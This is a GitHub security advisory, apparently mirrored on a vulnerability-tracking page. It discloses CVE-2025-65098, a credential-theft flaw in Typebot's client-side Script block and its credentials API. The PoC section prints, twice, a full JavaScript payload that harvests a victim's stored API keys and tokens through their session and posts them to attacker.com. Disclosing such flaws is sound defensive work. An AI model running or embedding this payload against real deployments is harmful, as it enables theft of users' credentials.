GHSA-4XC5-WFWC-JW47
Vulnerability from github – Published: 2026-01-22 18:02 – Updated: 2026-01-22 18:02Summary
Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The /api/trpc/credentials.getCredentials endpoint returns plaintext API keys without verifying credential ownership
Details
The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.
The /api/trpc/credentials.getCredentials endpoint returns plaintext credentials:
GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}
Response:
{
"result": {
"data": {
"json": {
"name": "My OpenAI Key",
"data": { "apiKey": "sk-proj-abc123...xyz789" }
}
}
}
}
The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.
Vulnerable file: packages/embeds/js/src/features/blocks/logic/script/executeScript.ts
PoC
Here's how to reproduce:
- Create a new typebot in the Builder
- Add a Script block and enable "Execute on client"
- Paste this code:
const exfil = async () => {
const data = { credentials: [] };
const list = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
{ credentials: "include" }
);
const creds = (await list.json()).result?.data?.json?.credentials || [];
for (const c of creds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { scope: "user", credentialsId: c.id } })
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
name: d.result.data.json.name,
type: c.type,
apiKey: d.result.data.json.data.apiKey,
fullData: d.result.data.json.data,
});
}
const ws = await fetch(
"https://app.typebot.io/api/trpc/workspace.listWorkspaces",
{ credentials: "include" }
);
const workspaces = (await ws.json()).result.data.json.workspaces;
for (const w of workspaces) {
const wsList = await fetch(
"https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
encodeURIComponent(
JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } })
),
{ credentials: "include" }
);
const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];
for (const c of wsCreds) {
const full = await fetch(
"https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
encodeURIComponent(
JSON.stringify({
json: {
workspaceId: w.id,
scope: "workspace",
credentialsId: c.id,
},
})
),
{ credentials: "include" }
);
const d = await full.json();
data.credentials.push({
workspace: w.name,
name: d.result.data.json.name,
type: c.type,
fullData: d.result.data.json.data,
});
}
}
await fetch("https://attacker.com/exfil", {
method: "POST",
body: JSON.stringify(data),
});
};
await exfil();
- Share typebot with victim
- When victim clicks "Run" to preview, script executes
- All credentials exfiltrated in plaintext:
{
"credentials": [
{
"name": "My OpenAI",
"type": "openai",
"apiKey": "sk-proj-abc123...",
"fullData": { "apiKey": "sk-proj-abc123..." }
},
{
"workspace": "Company Workspace",
"name": "Google Sheets",
"type": "google-sheets",
"fullData": {
"refresh_token": "1//0gHdP...",
"access_token": "ya29.a0..."
}
}
]
}
Impact
All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.
Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.
Root causes:
- Client-side scripts execute with victim's authenticated session
- API returns plaintext credentials without ownership verification
- No user warnings or consent prompts
- Exploitable with free tier account
CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@typebot.io/js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65098"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-22T18:02:12Z",
"nvd_published_at": "2026-01-22T15:16:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim\u0027s browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n \"result\": {\n \"data\": {\n \"json\": {\n \"name\": \"My OpenAI Key\",\n \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n }\n }\n }\n}\n```\n\nThe endpoint only checks if you\u0027re authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere\u0027s how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () =\u003e {\n const data = { credentials: [] };\n\n const list = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n { credentials: \"include\" }\n );\n const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n for (const c of creds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n name: d.result.data.json.name,\n type: c.type,\n apiKey: d.result.data.json.data.apiKey,\n fullData: d.result.data.json.data,\n });\n }\n\n const ws = await fetch(\n \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n { credentials: \"include\" }\n );\n const workspaces = (await ws.json()).result.data.json.workspaces;\n\n for (const w of workspaces) {\n const wsList = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n ),\n { credentials: \"include\" }\n );\n const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n for (const c of wsCreds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({\n json: {\n workspaceId: w.id,\n scope: \"workspace\",\n credentialsId: c.id,\n },\n })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n workspace: w.name,\n name: d.result.data.json.name,\n type: c.type,\n fullData: d.result.data.json.data,\n });\n }\n }\n\n await fetch(\"https://attacker.com/exfil\", {\n method: \"POST\",\n body: JSON.stringify(data),\n });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n \"credentials\": [\n {\n \"name\": \"My OpenAI\",\n \"type\": \"openai\",\n \"apiKey\": \"sk-proj-abc123...\",\n \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n },\n {\n \"workspace\": \"Company Workspace\",\n \"name\": \"Google Sheets\",\n \"type\": \"google-sheets\",\n \"fullData\": {\n \"refresh_token\": \"1//0gHdP...\",\n \"access_token\": \"ya29.a0...\"\n }\n }\n ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company\u0027s OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim\u0027s authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)",
"id": "GHSA-4xc5-wfwc-jw47",
"modified": "2026-01-22T18:02:12Z",
"published": "2026-01-22T18:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65098"
},
{
"type": "WEB",
"url": "https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579"
},
{
"type": "PACKAGE",
"url": "https://github.com/baptisteArno/typebot.io"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.